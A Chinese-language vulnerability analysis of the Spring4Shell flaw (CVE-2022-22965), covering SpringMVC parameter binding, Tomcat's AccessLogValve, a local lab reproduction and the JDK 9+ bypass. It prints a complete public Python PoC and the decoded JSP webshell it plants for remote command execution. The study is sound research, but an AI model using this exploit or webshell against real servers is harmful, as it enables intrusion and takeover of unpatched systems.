Spring遠程命令執行漏洞(CVE-2022-22965)原理研究

一、前置知識

SpringMVC參數綁定

爲了方便編程,SpringMVC支持將HTTP請求中的的請求參數或者請求體內容,根據Controller方法的參數,自動完成類型轉換和賦值。之後,Controller方法就可以直接使用這些參數,避免了需要編寫大量的代碼從HttpServletRequest中獲取請求數據以及類型轉換。這個特性類似PHP中的register_globals機制。

下面是一個簡單的示例:

新建一個maven項目

pom.xml內容如下:

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.6.3</version>
        <relativePath/> <!-- lookup parent from repository -->
    </parent>

    <groupId>org.example</groupId>
    <artifactId>CVE-2022-22965_beans_bind_rce</artifactId>
    <version>1.0-SNAPSHOT</version>
    <packaging>war</packaging>
    <!--
    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>
    -->
    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-tomcat</artifactId>
            <scope>provided</scope>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot</artifactId>
            <version>2.7.8</version>
        </dependency>
    </dependencies>

    <build>
        <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
            </plugin>

            <plugin>
                <configuration>
                    <source>1.8</source>
                    <target>1.8</target>
                </configuration>
                <artifactId>maven-compiler-plugin</artifactId>
            </plugin>
        </plugins>
    </build>
</project> 

編寫SpringBoot的啓動類:

package org.example;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.boot.builder.SpringApplicationBuilder;
import org.springframework.boot.web.servlet.support.SpringBootServletInitializer;


@SpringBootApplication
public class ApplicationMain extends SpringBootServletInitializer {
    @Override
    protected SpringApplicationBuilder configure(SpringApplicationBuilder builder) {
        return builder.sources(ApplicationMain.class);
    }

    public static void main(String[] args) {
        SpringApplication.run(ApplicationMain.class, args);
    }
}

將SpringMVC參數綁定中的User類、UserController類、Department類添加到項目中。

UserController.java

package org.example;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class UserController {
    @RequestMapping("/addUser")
    public @ResponseBody String addUser(User user) {
        return "OK";
    }
}

User.java

package org.example;

public class User {
    private String name;
    private Department department;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public Department getDepartment() {
        return department;
    }

    public void setDepartment(Department department) {
        this.department = department;
    }
}

Department.java

package org.example;

public class Department {
    private String name;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }
}

執行maven打包命令,將項目打包爲war包,

將項目中target目錄裏打包生成的CVE-2022-22965_beans_bind_rce-1.0-SNAPSHOT.war,部署到Tomcat的webapps目錄下。

訪問應用:

http://localhost:8080/CVE_2022_22965_beans_bind_rce_war_exploded/addUser?name=test&department.name=SEC

當請求爲/addUser?name=test&department.name=SEC時,public String addUser(User user)中的user參數內容如下:

可以看到,name自動綁定到了user參數的name屬性上,department.name自動綁定到了user參數的department屬性的name屬性上。 

注意department.name這項的綁定,表明SpringMVC支持多層嵌套的參數綁定。實際上department.name的綁定是Spring通過如下的調用鏈實現的:

User.getDepartment()
Department.setName()

假設請求參數名爲foo.bar.baz.qux,對應Controller方法入參爲Param,則有以下的調用鏈:

Param.getFoo()
Foo.getBar()
Bar.getBaz()
Baz.setQux() // 注意這裏爲set

SpringMVC實現參數綁定的主要類和方法是WebDataBinder.doBind(MutablePropertyValues)。

Java Bean PropertyDescriptor

PropertyDescriptor是JDK自帶的java.beans包下的類,意爲屬性描述器,用於獲取符合Java Bean規範的對象屬性和get/set方法。

下面是一個簡單的例子:

PropertyDescriptorDemo.java
package org.example;
import java.beans.BeanInfo;
import java.beans.Introspector;
import java.beans.PropertyDescriptor;

public class PropertyDescriptorDemo {
    public static void main(String[] args) throws Exception {
        User user = new User();
        user.setName("foo");

        BeanInfo userBeanInfo = Introspector.getBeanInfo(User.class);
        PropertyDescriptor[] descriptors = userBeanInfo.getPropertyDescriptors();
        PropertyDescriptor userNameDescriptor = null;
        for (PropertyDescriptor descriptor : descriptors) {
            if (descriptor.getName().equals("name")) {
                userNameDescriptor = descriptor;
                System.out.println("userNameDescriptor: " + userNameDescriptor);
                System.out.println("Before modification: ");
                System.out.println("user.name: " + userNameDescriptor.getReadMethod().invoke(user));
                userNameDescriptor.getWriteMethod().invoke(user, "bar");
            }
        }
        System.out.println("After modification: ");
        System.out.println("user.name: " + userNameDescriptor.getReadMethod().invoke(user));
    }
}

從上述代碼和輸出結果可以看到,PropertyDescriptor實際上就是Java Bean的屬性和對應get/set方法的集合。 

Spring BeanWrapperImpl

在Spring中,BeanWrapper接口是對Bean的包裝,定義了大量可以非常方便的方法對Bean的屬性進行訪問和設置。

BeanWrapperImpl類是BeanWrapper接口的默認實現,BeanWrapperImpl.wrappedObject屬性即爲被包裝的Bean對象,BeanWrapperImpl對Bean的屬性訪問和設置最終調用的是PropertyDescriptor。

BeanWrapperDemo.java
package org.example;
import org.springframework.beans.BeanWrapper;
import org.springframework.beans.BeanWrapperImpl;

public class BeanWrapperDemo {
    public static void main(String[] args) throws Exception {
        User user = new User();
        user.setName("foo");
        Department department = new Department();
        department.setName("SEC");
        user.setDepartment(department);

        BeanWrapper userBeanWrapper = new BeanWrapperImpl(user);
        userBeanWrapper.setAutoGrowNestedPaths(true);
        System.out.println("userBeanWrapper: " + userBeanWrapper);

        System.out.println("Before modification: ");
        System.out.println("user.name: " + userBeanWrapper.getPropertyValue("name"));
        System.out.println("user.department.name: " + userBeanWrapper.getPropertyValue("department.name"));

        userBeanWrapper.setPropertyValue("name", "bar");
        userBeanWrapper.setPropertyValue("department.name", "IT");

        System.out.println("After modification: ");
        System.out.println("user.name: " + userBeanWrapper.getPropertyValue("name"));
        System.out.println("user.department.name: " + userBeanWrapper.getPropertyValue("department.name"));
    }
}

從上述代碼和輸出結果可以看到,通過BeanWrapperImpl可以很方便地訪問和設置Bean的屬性,比直接使用PropertyDescriptor要簡單很多。 

Tomcat AccessLogValve 和 access_log

Tomcat的Valve用於處理請求和響應,通過組合了多個Valve的Pipeline,來實現按次序對請求和響應進行一系列的處理。
其中AccessLogValve用來記錄訪問日誌access_log。Tomcat的server.xml中默認配置了AccessLogValve,所有部署在Tomcat中的Web應用均會執行該Valve,內容如下: 

  • directory:access_log文件輸出目錄。
  • prefix:access_log文件名前綴。
  • pattern:access_log文件內容格式。
  • suffix:access_log文件名後綴。
  • fileDateFormat:access_log文件名日期後綴,默認爲.yyyy-MM-dd。

 

二、漏洞復現

ApplicationMain.java、UserController.java、User.java、Department.java和上一章保持一致。
http://localhost:8080/CVE_2022_22965_beans_bind_rce_war_exploded/addUser

從 https://github.com/BobTheShoplifter/Spring4Shell-POC/blob/0c557e85ba903c7ad6f50c0306f6c8271736c35e/poc.py 下載POC文件,

#coding:utf-8

import requests
import argparse
from urllib.parse import urljoin

def Exploit(url):
    headers = {"suffix":"%>//",
                "c1":"Runtime",
                "c2":"<%",
                "DNT":"1",
                "Content-Type":"application/x-www-form-urlencoded"

    }
    data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
    try:

        requests.post(url,headers=headers,data=data,timeout=15,allow_redirects=False, verify=False)
        shellurl = urljoin(url, 'tomcatwar.jsp')
        shellgo = requests.get(shellurl,timeout=15,allow_redirects=False, verify=False)
        if shellgo.status_code == 200:
            print(f"Vulnerable,shell ip:{shellurl}?pwd=j&cmd=whoami")
    except Exception as e:
        print(e)
        pass




def main():
    parser = argparse.ArgumentParser(description='Spring-Core Rce.')
    parser.add_argument('--file',help='url file',required=False)
    parser.add_argument('--url',help='target url',required=False)
    args = parser.parse_args()
    if args.url:
        Exploit(args.url)
    if args.file:
        with open (args.file) as f:
            for i in f.readlines():
                i = i.strip()
                Exploit(i)

if __name__ == '__main__':
    main()

執行如下命令: 

python3 poc.py —-url http://localhost:8080/CVE_2022_22965_beans_bind_rce_war_exploded/addUser

瀏覽器中訪問 http://localhost:8080/tomcatwar.jsp?pwd=j&cmd=gnome-calculator,復現漏洞。

 

三、漏洞原理分析

POC分析

我們從POC入手進行分析。通過對POC中的data URL解碼後可以拆分成如下5對參數。

1、pattern參數

  • 參數名:class.module.classLoader.resources.context.parent.pipeline.first.pattern
  • 參數值:%{c2}i if(“j”.equals(request.getParameter(“pwd”))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter(“cmd”)).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i

很明顯,這個參數是SpringMVC多層嵌套參數綁定。

我們在SpringMVC參數綁定的主要方法WebDataBinder.doBind(MutablePropertyValues)上設置斷點。

經過一系列的調用邏輯後,我們來到AbstractNestablePropertyAccessor,getPropertyAccessorForPropertyPath(String)方法。

該方法通過遞歸調用自身,實現對class.module.classLoader.resources.context.parent.pipeline.first.pattern的遞歸解析,設置整個調用鏈。 

我們重點關注這行代碼,

AbstractNestablePropertyAccessor nestedPa = this.getNestedPropertyAccessor(nestedProperty);

該行主要實現每層嵌套參數的獲取。我們在該行設置斷點,查看每次遞歸解析過程中各個變量的值,以及如何獲取每層嵌套參數。 

第一輪迭代

進入getPropertyAccessorForPropertyPath(String)方法前:

  • this:User的BeanWrapperImpl包裝實例
  • propertyPath:class.module.classLoader.resources.context.parent.pipeline.first.pattern
  • nestedPath:module.classLoader.resources.context.parent.pipeline.first.pattern
  • nestedProperty:class,即本輪迭代需要解析的嵌套參數

進入方法,經過一系列的調用邏輯後,最終來到BeanWrapperImpl,BeanPropertyHandler.getValue()方法中。可以看到class嵌套參數最終通過反射調用User的父類java.lang.Object.getClass(),獲得返回java.lang.Class實例。 

getPropertyAccessorForPropertyPath(String)方法返回後: 

  • this:User的BeanWrapperImpl包裝實例
  • propertyPath:class.module.classLoader.resources.context.parent.pipeline.first.pattern
  • nestedPath:module.classLoader.resources.context.parent.pipeline.first.pattern,作爲下一輪迭代的propertyPath
  • nestedProperty:class,即本輪迭代需要解析的嵌套參數
  • nestedPa:java.lang.Class的BeanWrapperImpl包裝實例,作爲下一輪迭代的this

經過第一輪迭代,我們可以得出第一層調用鏈:

  • User.getClass()
  • java.lang.Class.get???() // 下一輪迭代實現

第二輪迭代 

module嵌套參數最終通過反射調用java.lang.Class.getModule(),獲得返回java.lang.Module實例。

經過第二輪迭代,我們可以得出第二層調用鏈:

  • User.getClass()
  • java.lang.Class.getModule()
  • java.lang.Module.get???() // 下一輪迭代實現 

第三輪迭代 

classLoader嵌套參數最終通過反射調用java.lang.Module.getClassLoader(),獲得返回org.apache.catalina.loader.ParallelWebappClassLoader實例。

  • 經過第三輪迭代,我們可以得出第三層調用鏈:
  • User.getClass()
  • java.lang.Class.getModule()
  • java.lang.Module.getClassLoader()
  • org.apache.catalina.loader.ParallelWebappClassLoader.get???() // 下一輪迭代實現 

接着按照上述調試方法,依次調試剩餘的遞歸輪次並觀察相應的變量,最終可以得到如下完整的調用鏈:

  • User.getClass()
  • java.lang.Class.getModule()
  • java.lang.Module.getClassLoader()
  • org.apache.catalina.loader.ParallelWebappClassLoader.getResources()
  • org.apache.catalina.webresources.StandardRoot.getContext()
  • org.apache.catalina.core.StandardContext.getParent()
  • org.apache.catalina.core.StandardHost.getPipeline()
  • org.apache.catalina.core.StandardPipeline.getFirst()
  • org.apache.catalina.valves.AccessLogValve.setPattern() 

可以看到,pattern參數最終對應AccessLogValve.setPattern(),即將AccessLogValve的pattern屬性設置爲:

%{c2}i if(“j”.equals(request.getParameter(“pwd”))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter(“cmd”)).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i

也就是access_log的文件內容格式。 

我們再來看pattern參數值,除了常規的Java代碼外,還夾雜了三個特殊片段。通過翻閱AccessLogValve的父類AbstractAccessLogValve的源碼,可以找到相關的文檔: 

即通過AccessLogValve輸出的日誌中可以通過形如%{param}i等形式直接引用HTTP請求和響應中的內容。 

結合poc.py中headers變量內容:

headers = {“suffix”:”%>//“,
“c1”:”Runtime”,
“c2”:”<%”,
“DNT”:”1”,
“Content-Type”:”application/x-www-form-urlencoded”
}

最終可以得到AccessLogValve輸出的日誌實際內容如下(已格式化):

<%
if(“j”.equals(request.getParameter(“pwd”))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(“cmd”)).getInputStream();
int a = -1;
byte[] b = new byte[2048];
while((a=in.read(b))!=-1){
out.println(new String(b));
}
}
%>//

很明顯,這是一個JSP webshell。

這個webshell輸出到了哪兒?名稱是什麼?能被直接訪問和正常解析執行嗎?我們接下來看其餘的參數。

2、suffix參數 

  • 參數名:class.module.classLoader.resources.context.parent.pipeline.first.suffix
  • 參數值:.jsp

按照pattern參數相同的調試方法,suffix參數最終將AccessLogValve.suffix設置爲.jsp,即access_log的文件名後綴。

3、directory參數

  • 參數名:class.module.classLoader.resources.context.parent.pipeline.first.directory
  • 參數值:webapps/ROOT

按照pattern參數相同的調試方法,directory參數最終將AccessLogValve.directory設置爲webapps/ROOT,即access_log的文件輸出目錄。

這裏提下webapps/ROOT目錄,該目錄爲Tomcat Web應用根目錄。部署到目錄下的Web應用,可以直接通過http://localhost:8080/根目錄訪問。

4、prefix參數 

  • 參數名:class.module.classLoader.resources.context.parent.pipeline.first.prefix
  • 參數值:tomcatwar
按照pattern參數相同的調試方法,prefix參數最終將AccessLogValve.prefix設置爲tomcatwar,即access_log的文件名前綴。

5、fileDateFormat參數 

  • 參數名:class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat
  • 參數值:空

按照pattern參數相同的調試方法,fileDateFormat參數最終將AccessLogValve.fileDateFormat設置爲空,即access_log的文件名不包含日期。

6、總結

概括一下以上過程:

通過請求傳入的參數,利用SpringMVC參數綁定機制(任意類成員變量註冊機制),(通過反射,跨類)控制了Tomcat AccessLogValve的屬性,讓Tomcat在webapps/ROOT目錄輸出定製的“訪問日誌”tomcatwar.jsp,該“訪問日誌”實際上爲一個JSP webshell。

漏洞利用關鍵點

1、關鍵點一:Web應用部署方式 

從java.lang.Module到org.apache.catalina.loader.ParallelWebappClassLoader,是將調用鏈轉移到Tomcat,並最終利用AccessLogValve輸出webshell的關鍵。

ParallelWebappClassLoader在Web應用以war包部署到Tomcat中時使用到。

現在很大部分公司會使用SpringBoot可執行jar包的方式運行Web應用,在這種方式下,我們看下classLoader嵌套參數被解析。使用SpringBoot可執行jar包的方式運行,classLoader嵌套參數被解析爲org.springframework.boot.loader.LaunchedURLClassLoader,查看其源碼,沒有getResources()方法。

這就是爲什麼本漏洞利用條件之一,Web應用部署方式需要是Tomcat war包部署。

2、關鍵點二:JDK版本

在AbstractNestablePropertyAccessor nestedPa = this.getNestedPropertyAccessor(nestedProperty);調用的過程中,實際上Spring做了一道防禦。

Spring使用org.springframework.beans.CachedIntrospectionResults緩存並返回Java Bean中可以被BeanWrapperImpl使用的PropertyDescriptor。

在CachedIntrospectionResults()方法中,

該行的意思是:當Bean的類型爲java.lang.Class時,不返回classLoader和protectionDomain的PropertyDescriptor。

Spring在構建嵌套參數的調用鏈時,會根據CachedIntrospectionResults緩存的PropertyDescriptor進行構建。不返回,也就意味着class.classLoader…這種嵌套參數走不通,即形如下方的調用鏈:

  • Foo.getClass()
  • java.lang.Class.getClassLoader()
  • BarClassLoader.getBaz()
  • …… 

這在JDK<=1.8都是有效的。但是在JDK 1.9之後,Java爲了支持模塊化,在java.lang.Class中增加了module屬性和對應的getModule()方法,自然就能通過如下調用鏈繞過判斷: 

  • Foo.getClass()
  • java.lang.Class.getModule() // 繞過
  • java.lang.Module.getClassLoader()
  • BarClassLoader.getBaz()
  • ……
這就是爲什麼本漏洞利用條件之二,JDK>=1.9。  

參考鏈接:

https://www.cnblogs.com/szrs/p/15187233.html
https://blog.csdn.net/fengchao2016/article/details/83023725
https://github.com/BobTheShoplifter/Spring4Shell-POC/blob/0c557e85ba903c7ad6f50c0306f6c8271736c35e/poc.py 
https://www.anquanke.com/post/id/272149

 

四、漏洞延伸思考

通過將代碼輸出到日誌文件,並控制日誌文件被解釋執行,這在漏洞利用方法中也較爲常見。通常事先往服務器上寫入包含代碼的“日誌”文件,並利用文件包含漏洞解釋執行該“日誌”文件。寫入“日誌”文件可以通過Web服務中間件自身的日誌記錄功能順帶實現,也可以通過SQL注入、文件上傳漏洞等曲線實現。

與上文不同的是,本次漏洞並不需要文件包含而是可以直接寫入JSP Webshell。究其原因,Java Web服務中間件自身也是用Java編寫和運行的,而部署運行在上面的Java Web應用,實際上是Java Web服務中間件進程的一部分,兩者間通過Servlet API標準接口在進程內部進行“通訊”。依靠Java語言強大的運行期反射能力,給予了攻擊者可以通過Java Web應用漏洞進而攻擊Java Web服務中間件的能力。

本次漏洞中,攻擊者可以利用Web應用自身的Spring漏洞,通過跨類調用鏈,進而修改了Web服務中間件Tomcat的access_log配置內容,直接輸出可執行的“日誌”文件到Web 應用目錄下。

在日常開發中,應該嚴格控制Web應用可解釋執行目錄爲只讀不可寫,日誌、上傳文件等運行期可以修改的目錄應該單獨設置,並且不可執行。

本次漏洞雖然目前調用鏈中僅利用到了Tomcat,但只要存在一個從Web應用到Web服務中間件的class.module.classLoader….合適調用鏈,理論上Jetty、Weblogic、Glassfish等也可利用。另外,目前通過寫入日誌文件的方式,也可能通過其它文件,比如配置文件,甚至是內存馬的形式出現。

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章